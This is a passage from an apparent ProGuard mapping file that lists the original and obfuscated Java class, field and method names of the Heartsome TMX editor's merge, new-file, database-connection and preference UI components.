void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.mergetmx.MergeTmx -> net.heartsome.cat.te.ui.mergetmx.a: + java.util.List fileList -> tX + java.lang.String tgtFileLC -> tY + java.io.FileOutputStream output -> fR + java.io.BufferedOutputStream buffer -> je + int workInterval -> jF + org.slf4j.Logger LOGG -> tZ + void beginMerge(org.eclipse.core.runtime.IProgressMonitor) -> e + void MergeTmxFile(java.util.List,java.io.File) -> a + boolean validateFilesHeader() -> cK + boolean validateFilesLanguages() -> cL + void writeSegment(java.lang.String) -> D + void monitorWork(org.eclipse.core.runtime.IProgressMonitor,int,boolean) -> a +net.heartsome.cat.te.ui.mergetmx.MergeTmx$1 -> net.heartsome.cat.te.ui.mergetmx.b: + net.heartsome.cat.te.ui.mergetmx.MergeTmx this$0 -> ua + java.lang.String val$message -> me + void run() -> run +net.heartsome.cat.te.ui.mergetmx.MergeTmx$2 -> net.heartsome.cat.te.ui.mergetmx.c: + net.heartsome.cat.te.ui.mergetmx.MergeTmx this$0 -> ua + java.lang.String val$fileLC -> ub + void run() -> run +net.heartsome.cat.te.ui.mergetmx.MergeTmx$3 -> net.heartsome.cat.te.ui.mergetmx.d: + net.heartsome.cat.te.ui.mergetmx.MergeTmx this$0 -> ua + java.lang.Exception val$e -> or + void run() -> run +net.heartsome.cat.te.ui.mergetmx.MergeTmxFile -> net.heartsome.cat.te.ui.mergetmx.e: + void MergeTmxFile(java.util.List,java.io.File) -> a + boolean validateFilesHeader() -> cK + boolean validateFilesLanguages() -> cL + void generateTmxFileHeader() -> cM + void runMerge() -> cN +net.heartsome.cat.te.ui.mergetmx.handler.MergeTmxFileHanlder -> net.heartsome.cat.te.ui.mergetmx.handler.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.te.ui.mergetmx.handler.MergeTmxHanlder -> net.heartsome.cat.te.ui.mergetmx.handler.b: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog -> net.heartsome.cat.te.ui.mergetmx.ui.a: + org.eclipse.swt.widgets.Table table -> table + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + java.util.List fileList -> tX + org.eclipse.swt.widgets.Text tgtTxt -> uc + boolean confirm -> ud + java.lang.String tgtFileLC -> tY + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + boolean isResizable() -> isResizable + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Composite createClientArea(org.eclipse.swt.widgets.Composite) -> createClientArea + void check() -> check + java.lang.String getDisplayHelpUrl() -> getDisplayHelpUrl + void run(org.eclipse.core.runtime.IProgressMonitor) -> run + java.util.List access$0(net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog) -> a + org.eclipse.jface.viewers.TableViewer access$1(net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog) -> b + void access$2(net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog) -> c + org.eclipse.swt.widgets.Table access$3(net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog) -> d + org.eclipse.swt.widgets.Text access$4(net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog) -> e + void access$5(net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog,java.lang.String) -> a + java.lang.String access$6(net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog) -> f + void access$7(net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog,boolean) -> a +net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog$1 -> net.heartsome.cat.te.ui.mergetmx.ui.b: + net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog this$0 -> ue + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog$1$1 -> net.heartsome.cat.te.ui.mergetmx.ui.c: + net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog$1 this$1 -> uf + org.eclipse.swt.widgets.TableColumn[] val$columns -> mT + org.eclipse.swt.widgets.Table val$table -> mU + void run() -> run +net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog$2 -> net.heartsome.cat.te.ui.mergetmx.ui.d: + net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog this$0 -> ue + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog$3 -> net.heartsome.cat.te.ui.mergetmx.ui.e: + net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog this$0 -> ue + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog$4 -> net.heartsome.cat.te.ui.mergetmx.ui.f: + net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog this$0 -> ue + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog$5 -> net.heartsome.cat.te.ui.mergetmx.ui.g: + net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog this$0 -> ue + java.lang.String val$fileLC -> ub + void run() -> run +net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog$6 -> net.heartsome.cat.te.ui.mergetmx.ui.h: + net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog this$0 -> ue + java.lang.String val$fileLC -> ub + void run() -> run +net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog$7 -> net.heartsome.cat.te.ui.mergetmx.ui.i: + net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog this$0 -> ue + void run() -> run +net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog$8 -> net.heartsome.cat.te.ui.mergetmx.ui.j: + net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog this$0 -> ue + void run() -> run +net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog$TableViewerLabelProvider -> net.heartsome.cat.te.ui.mergetmx.ui.k: + net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog this$0 -> ue + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText +net.heartsome.cat.te.ui.newtmx.handler.NewTmxFileHandler -> net.heartsome.cat.te.ui.newtmx.handler.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.te.ui.newtmx.handler.NewTmxFileHandler$1 -> net.heartsome.cat.te.ui.newtmx.handler.b: + net.heartsome.cat.te.ui.newtmx.handler.NewTmxFileHandler this$0 -> ug + org.eclipse.swt.widgets.Shell val$shell -> uh + void run() -> run +net.heartsome.cat.te.ui.newtmx.ui.NewTmxFileDialog -> net.heartsome.cat.te.ui.newtmx.ui.a: + org.eclipse.swt.widgets.Text locationTxt -> uj + java.lang.String newFilePath -> tp + java.util.List languages -> io + net.heartsome.cat.common.locale.Language srcLanguage -> hq + net.heartsome.cat.common.locale.Language tgtLanguage -> hs + org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer srcLangComboViewer -> uk + org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer tgtLangComboViewer -> ul + java.io.FileOutputStream output -> fR + org.slf4j.Logger LOGGER -> LOGGER + int getShellStyle() -> getShellStyle + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void browseTmxLc() -> cO + void okPressed() -> okPressed + java.lang.String getNewFilePath() -> cv + org.eclipse.core.runtime.IStatus createFile(java.lang.String,java.lang.String,java.lang.String) -> e + void writeString(java.lang.String) -> writeString + java.lang.String getDisplayHelpUrl() -> getDisplayHelpUrl + void access$0(net.heartsome.cat.te.ui.newtmx.ui.NewTmxFileDialog) -> a + void access$1(net.heartsome.cat.te.ui.newtmx.ui.NewTmxFileDialog,net.heartsome.cat.common.locale.Language) -> a + void access$2(net.heartsome.cat.te.ui.newtmx.ui.NewTmxFileDialog,net.heartsome.cat.common.locale.Language) -> b +net.heartsome.cat.te.ui.newtmx.ui.NewTmxFileDialog$1 -> net.heartsome.cat.te.ui.newtmx.ui.b: + net.heartsome.cat.te.ui.newtmx.ui.NewTmxFileDialog this$0 -> um + int compare(net.heartsome.cat.common.locale.Language,net.heartsome.cat.common.locale.Language) -> a + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.te.ui.newtmx.ui.NewTmxFileDialog$2 -> net.heartsome.cat.te.ui.newtmx.ui.c: + net.heartsome.cat.te.ui.newtmx.ui.NewTmxFileDialog this$0 -> um + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.newtmx.ui.NewTmxFileDialog$3 -> net.heartsome.cat.te.ui.newtmx.ui.d: + net.heartsome.cat.te.ui.newtmx.ui.NewTmxFileDialog this$0 -> um + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.te.ui.newtmx.ui.NewTmxFileDialog$4 -> net.heartsome.cat.te.ui.newtmx.ui.e: + net.heartsome.cat.te.ui.newtmx.ui.NewTmxFileDialog this$0 -> um + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.te.ui.opentmx.handler.OpenFileDbHandler -> net.heartsome.cat.te.ui.opentmx.handler.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.te.ui.opentmx.handler.OpenServerDbHander -> net.heartsome.cat.te.ui.opentmx.handler.b: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.te.ui.opentmx.handler.OpenTmxFileHandler -> net.heartsome.cat.te.ui.opentmx.handler.c: + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.ui.IWorkbenchWindow window -> window + java.io.File tmxfileBrowser() -> cP + boolean validateTmxFileEncoding(java.io.File) -> d + void open(java.io.File) -> open + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.te.ui.opentmx.ui.DBConnecDialog -> net.heartsome.cat.te.ui.opentmx.ui.a: + net.heartsome.cat.common.bean.DatabaseModelBean getSelectedDb() -> cQ +net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog -> net.heartsome.cat.te.ui.opentmx.ui.b: + int lastTreeWidth -> un + org.eclipse.swt.graphics.Point lastShellSize -> uo + org.eclipse.jface.viewers.TreeViewer treeViewer -> treeViewer + org.eclipse.swt.widgets.Text hostText -> up + org.eclipse.swt.widgets.Text usernameText -> uq + org.eclipse.swt.widgets.Text passwordText -> ur + org.eclipse.swt.widgets.Text instanceText -> us + org.eclipse.swt.widgets.Text portText -> ut + org.eclipse.swt.widgets.Button searchBtn -> uu + org.eclipse.jface.viewers.TableViewer dbTableViewer -> uv + java.lang.String currDbType -> uw + java.lang.String lastSelectedServerId -> ux + net.heartsome.cat.common.bean.DatabaseModelBean currServer -> uy + java.util.Map treeInputMap -> uz + net.heartsome.cat.database.ui.core.DatabaseConfiger configer -> uA + java.util.Map dbMetaDataMap -> uB + org.eclipse.swt.widgets.Text locationText -> uC + org.eclipse.swt.widgets.Button borwserBtn -> uD + java.util.List currServerdbList -> uE + org.eclipse.core.databinding.observable.list.WritableList currServerdbListInput -> uF + net.heartsome.cat.common.bean.DatabaseModelBean beanForOutUse -> uG + org.eclipse.swt.widgets.Menu treePopMenu -> uH + org.slf4j.Logger logger -> logger + java.util.List needUpdateToFile -> uI + org.eclipse.swt.graphics.Image internalDbImg -> uJ + org.eclipse.swt.graphics.Image mySqlImg -> uK + org.eclipse.swt.graphics.Image oracleImg -> uL + org.eclipse.swt.graphics.Image sqlServerImg -> uM + org.eclipse.swt.graphics.Image postgreImg -> uN + org.eclipse.swt.graphics.Image ipImg -> uO + org.eclipse.swt.graphics.Image sqliteImg -> uP + int dialogType -> uQ + int TYPE_DBMANAGE -> uR + int TYPE_DBSELECTED -> uS + java.util.Map hasSelected -> uT + org.eclipse.swt.widgets.Control createHelpControl(org.eclipse.swt.widgets.Composite) -> createHelpControl + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + void selectSaveItem() -> cR + net.heartsome.cat.common.bean.DatabaseModelBean findServerBean(java.lang.String,java.lang.String) -> k + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void setDialogUseFor(int) -> m + int getDialogUseFor() -> cS + org.eclipse.swt.widgets.Composite createPageContainer(org.eclipse.swt.widgets.Composite) -> createPageContainer + org.eclipse.swt.widgets.Control createTreeAreaContents(org.eclipse.swt.widgets.Composite) -> createTreeAreaContents + void initTreePopMenu() -> cT + void layoutTreeAreaControl(org.eclipse.swt.widgets.Control) -> layoutTreeAreaControl + org.eclipse.jface.viewers.TreeViewer createTreeViewer(org.eclipse.swt.widgets.Composite) -> createTreeViewer + void addListeners(org.eclipse.jface.viewers.TreeViewer) -> addListeners + net.heartsome.cat.database.SystemDBOperator getCurrSysDbOp() -> cU + void updateTreeFont(org.eclipse.swt.graphics.Font) -> updateTreeFont + org.eclipse.jface.viewers.TreeViewer getTreeViewer() -> getTreeViewer + org.eclipse.jface.viewers.TableViewer getDbTableViewer() -> cV + java.util.List getNeedUpdateToFile() -> cW + org.eclipse.swt.widgets.Sash createSash(org.eclipse.swt.widgets.Composite,org.eclipse.swt.widgets.Control) -> createSash + int getLastRightWidth() -> getLastRightWidth + void setLastTreeWidth(int) -> n + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + void setShellSize(int,int) -> b + void initDataBindings() -> cX + void createColumn(org.eclipse.jface.viewers.TableViewer) -> b + org.eclipse.jface.viewers.TableViewerColumn createTableViewerColumn(org.eclipse.jface.viewers.TableViewer,java.lang.String,int,int) -> a + org.eclipse.core.runtime.IStatus validator() -> cY + net.heartsome.cat.common.bean.DatabaseModelBean configIsChanged(java.util.List,net.heartsome.cat.common.bean.DatabaseModelBean,net.heartsome.cat.common.bean.MetaData) -> a + void addServerWithExistCheck(net.heartsome.cat.common.bean.DatabaseModelBean,java.util.List) -> a + void updateServer(net.heartsome.cat.common.bean.DatabaseModelBean,java.util.List) -> b + void setLastSelectedServer(java.lang.String) -> ap + java.lang.String getLastSelectedServer() -> cZ + java.lang.String getCurrDbType() -> da + void setCurrDbType(java.lang.String) -> aq + net.heartsome.cat.common.bean.MetaData getCurrDbMetaData() -> db + void resetInputValue() -> resetInputValue + void initUI(boolean) -> m + java.util.List searchCurrServerDatabase(net.heartsome.cat.database.SystemDBOperator,net.heartsome.cat.common.bean.DatabaseModelBean) -> a + void executeSearch(net.heartsome.cat.database.SystemDBOperator) -> a + void createNewDatabase() -> dc + void executeSelectDatabase() -> dd + void okPressed() -> okPressed + java.lang.String getSelectDbName() -> de + net.heartsome.cat.common.bean.DatabaseModelBean getDB() -> df + boolean close() -> close + java.util.Map getHasSelectedDatabase() -> dg + org.eclipse.swt.graphics.Image access$0(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog) -> a + org.eclipse.swt.graphics.Image access$1(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog) -> b + org.eclipse.swt.graphics.Image access$2(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog) -> c + org.eclipse.swt.graphics.Image access$3(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog) -> d + org.eclipse.swt.graphics.Image access$4(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog) -> e + org.eclipse.swt.graphics.Image access$5(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog) -> f + org.eclipse.swt.graphics.Image access$6(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog) -> g + org.eclipse.swt.graphics.Point access$7(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog) -> h + void access$8(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog,org.eclipse.swt.graphics.Point) -> a + org.eclipse.swt.widgets.Text access$9(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog) -> i + org.eclipse.core.runtime.IStatus access$10(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog) -> j + net.heartsome.cat.database.SystemDBOperator access$11(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog) -> k + java.util.Map access$12(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog) -> l + java.lang.String access$13(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog) -> m + net.heartsome.cat.common.bean.DatabaseModelBean access$14(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog) -> n + void access$15(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog,net.heartsome.cat.common.bean.DatabaseModelBean,java.util.List) -> a + void access$16(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog) -> o + void access$17(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog,net.heartsome.cat.database.SystemDBOperator) -> a + java.lang.String access$18() -> dh + net.heartsome.cat.database.ui.core.DatabaseConfiger access$19(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog) -> p + void access$20(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog,java.lang.String) -> a + void access$21(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog,boolean) -> a + void access$22(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog,java.lang.String) -> b + void access$23(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog) -> q + org.eclipse.core.databinding.observable.list.WritableList access$24(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog) -> r + org.eclipse.jface.viewers.TreeViewer access$25(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog) -> s + org.eclipse.swt.widgets.Menu access$26(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog) -> t + void access$27(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog,int) -> a + void access$28(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog,int,int) -> a + java.util.List access$29(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog,net.heartsome.cat.database.SystemDBOperator,net.heartsome.cat.common.bean.DatabaseModelBean) -> a +net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog$1 -> net.heartsome.cat.te.ui.opentmx.ui.c: + net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog this$0 -> uU + org.eclipse.swt.graphics.Cursor val$cursor -> bN + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog$10 -> net.heartsome.cat.te.ui.opentmx.ui.d: + net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog this$0 -> uU + org.eclipse.jface.viewers.TreeViewer val$viewer -> uV + void menuDetected(org.eclipse.swt.events.MenuDetectEvent) -> menuDetected +net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog$11 -> net.heartsome.cat.te.ui.opentmx.ui.e: + net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog this$0 -> uU + org.eclipse.swt.widgets.Sash val$sash -> uW + org.eclipse.swt.widgets.Control val$rightControl -> uX + org.eclipse.swt.widgets.Composite val$composite -> uY + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog$12 -> net.heartsome.cat.te.ui.opentmx.ui.f: + net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog this$0 -> uU + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog$13 -> net.heartsome.cat.te.ui.opentmx.ui.g: + net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog this$0 -> uU + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog$14 -> net.heartsome.cat.te.ui.opentmx.ui.h: + net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog this$0 -> uU + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog$15 -> net.heartsome.cat.te.ui.opentmx.ui.i: + net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog this$0 -> uU + net.heartsome.cat.database.SystemDBOperator val$sysDbOp -> uZ + void run() -> run +net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog$2 -> net.heartsome.cat.te.ui.opentmx.ui.j: + net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog this$0 -> uU + java.lang.String val$helpUrl -> bO + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog$3 -> net.heartsome.cat.te.ui.opentmx.ui.k: + net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog this$0 -> uU + void shellActivated(org.eclipse.swt.events.ShellEvent) -> shellActivated +net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog$4 -> net.heartsome.cat.te.ui.opentmx.ui.l: + net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog this$0 -> uU + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog$5 -> net.heartsome.cat.te.ui.opentmx.ui.m: + net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog this$0 -> uU + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog access$0(net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog$5) -> a +net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog$5$1 -> net.heartsome.cat.te.ui.opentmx.ui.n: + net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog$5 this$1 -> va + void run() -> run +net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog$6 -> net.heartsome.cat.te.ui.opentmx.ui.o: + net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog this$0 -> uU + void doubleClick(org.eclipse.jface.viewers.DoubleClickEvent) -> doubleClick +net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog$7 -> net.heartsome.cat.te.ui.opentmx.ui.p: + net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog this$0 -> uU + void run() -> run +net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog$8 -> net.heartsome.cat.te.ui.opentmx.ui.q: + net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog this$0 -> uU + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog$9 -> net.heartsome.cat.te.ui.opentmx.ui.r: + net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog this$0 -> uU + org.eclipse.jface.viewers.TreeViewer val$viewer -> uV + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog$TreeContentProvider -> net.heartsome.cat.te.ui.opentmx.ui.s: + java.util.Map map -> map + net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog this$0 -> uU + void dispose() -> dispose + void inputChanged(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> inputChanged + java.lang.Object[] getElements(java.lang.Object) -> getElements + java.lang.Object[] getChildren(java.lang.Object) -> getChildren + java.lang.Object getParent(java.lang.Object) -> getParent + boolean hasChildren(java.lang.Object) -> hasChildren +net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog$TreeContentProvider$1 -> net.heartsome.cat.te.ui.opentmx.ui.t: + net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog$TreeContentProvider this$1 -> vb + int compare(net.heartsome.cat.common.bean.DatabaseModelBean,net.heartsome.cat.common.bean.DatabaseModelBean) -> a + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog$TreeLableProvider -> net.heartsome.cat.te.ui.opentmx.ui.u: + net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog this$0 -> uU + java.lang.String getText(java.lang.Object) -> getText + org.eclipse.swt.graphics.Image getImage(java.lang.Object) -> getImage +net.heartsome.cat.te.ui.perspective.TEPerspective -> net.heartsome.cat.te.ui.perspective.a: + java.lang.String ID -> ID + void createInitialLayout(org.eclipse.ui.IPageLayout) -> createInitialLayout +net.heartsome.cat.te.ui.preferencepage.IPreferenceConstants -> net.heartsome.cat.te.ui.preferencepage.IPreferenceConstants: + java.lang.String SYSTEM_AUTO_UPDATE -> SYSTEM_AUTO_UPDATE + int SYSTEM_CHECK_UPDATE_WITH_STARTUP -> SYSTEM_CHECK_UPDATE_WITH_STARTUP + int SYSTEM_CHECK_UPDATE_WITH_MONTHLY -> SYSTEM_CHECK_UPDATE_WITH_MONTHLY + java.lang.String SYSTEM_CHECK_UPDATE_WITH_MONTHLY_DATE -> SYSTEM_CHECK_UPDATE_WITH_MONTHLY_DATE + int SYSTEM_CHECK_UPDATE_WITH_WEEKLY -> SYSTEM_CHECK_UPDATE_WITH_WEEKLY + java.lang.String SYSTEM_CHECK_UPDATE_WITH_WEEKLY_DATE -> SYSTEM_CHECK_UPDATE_WITH_WEEKLY_DATE + int SYSTEM_CHECK_UPDATE_WITH_NEVER -> SYSTEM_CHECK_UPDATE_WITH_NEVER + java.lang.String SYSTEM_LANGUAGE -> SYSTEM_LANGUAGE + int SYSTEM_LANGUAGE_WITH_EN -> SYSTEM_LANGUAGE_WITH_EN + int SYSTEM_LANGUAGE_WITH_ZH_CN -> SYSTEM_LANGUAGE_WITH_ZH_CN + java.lang.String SYSTEM_USER -> SYSTEM_USER + java.lang.String TMX_EDITOR_FONT_NAME -> TMX_EDITOR_FONT_NAME + java.lang.String TMX_EDITOR_FONT_SIZE -> TMX_EDITOR_FONT_SIZE +net.heartsome.cat.te.ui.preferencepage.key.BindingModel2 -> net.heartsome.cat.te.ui.preferencepage.key.a: + java.lang.String PROP_BINDING_ADD -> PROP_BINDING_ADD + java.lang.String PROP_BINDING_ELEMENT_MAP -> PROP_BINDING_ELEMENT_MAP + java.lang.String PROP_BINDING_FILTER -> PROP_BINDING_FILTER + java.lang.String PROP_BINDING_REMOVE -> PROP_BINDING_REMOVE + java.lang.String PROP_BINDINGS -> PROP_BINDINGS + java.lang.String PROP_CONFLICT_ELEMENT_MAP -> PROP_CONFLICT_ELEMENT_MAP + java.util.Collection allParameterizedCommands -> vc + org.eclipse.jface.bindings.BindingManager bindingManager -> vd + java.util.HashSet bindingElements -> ve + java.util.Map bindingToElement -> vf + java.util.Map commandToElement -> vg + boolean deletes(org.eclipse.jface.bindings.Binding,org.eclipse.jface.bindings.Binding) -> a + void copy() -> copy + void copy(org.eclipse.ui.internal.keys.model.BindingElement) -> copy + java.util.HashSet getBindings() -> getBindings + java.util.Map getBindingToElement() -> getBindingToElement + java.util.Map getCommandToElement() -> getCommandToElement + void init(org.eclipse.ui.services.IServiceLocator,org.eclipse.jface.bindings.BindingManager,org.eclipse.ui.internal.keys.model.ContextModel) -> init + void refresh(org.eclipse.ui.internal.keys.model.ContextModel,java.util.List) -> a + void remove() -> remove + void remove(org.eclipse.ui.internal.keys.model.BindingElement) -> remove + void restoreBinding(org.eclipse.ui.internal.keys.model.BindingElement) -> restoreBinding + void restoreBinding(org.eclipse.ui.internal.keys.model.ContextModel) -> restoreBinding + void setBindings(java.util.HashSet) -> setBindings + void setBindingToElement(java.util.Map) -> setBindingToElement +net.heartsome.cat.te.ui.preferencepage.key.CategoryPatternFilter -> net.heartsome.cat.te.ui.preferencepage.key.b: + boolean filterCategories -> vh + org.eclipse.core.commands.Category uncategorized -> vi + void filterCategories(boolean) -> filterCategories + boolean isFilteringCategories() -> isFilteringCategories + boolean isLeafMatch(org.eclipse.jface.viewers.Viewer,java.lang.Object) -> isLeafMatch + org.eclipse.core.commands.ParameterizedCommand getCommand(java.lang.Object) -> e +net.heartsome.cat.te.ui.preferencepage.key.ConflictModel2 -> net.heartsome.cat.te.ui.preferencepage.key.c: + java.util.Collection conflicts -> vj + org.eclipse.jface.bindings.BindingManager bindingManager -> vd + org.eclipse.ui.internal.keys.model.BindingModel bindingModel -> vk + java.util.Map conflictsMap -> vl + java.util.Collection getConflicts() -> getConflicts + void setConflicts(java.util.Collection) -> setConflicts + void updateConflictsFor(org.eclipse.ui.internal.keys.model.BindingElement) -> updateConflictsFor + void updateConflictsFor(org.eclipse.ui.internal.keys.model.BindingElement,org.eclipse.ui.internal.keys.model.BindingElement) -> updateConflictsFor + void updateConflictsFor(org.eclipse.ui.internal.keys.model.BindingElement,boolean) -> updateConflictsFor + void updateConflictsFor(org.eclipse.ui.internal.keys.model.BindingElement,org.eclipse.ui.internal.keys.model.BindingElement,boolean) -> a + void 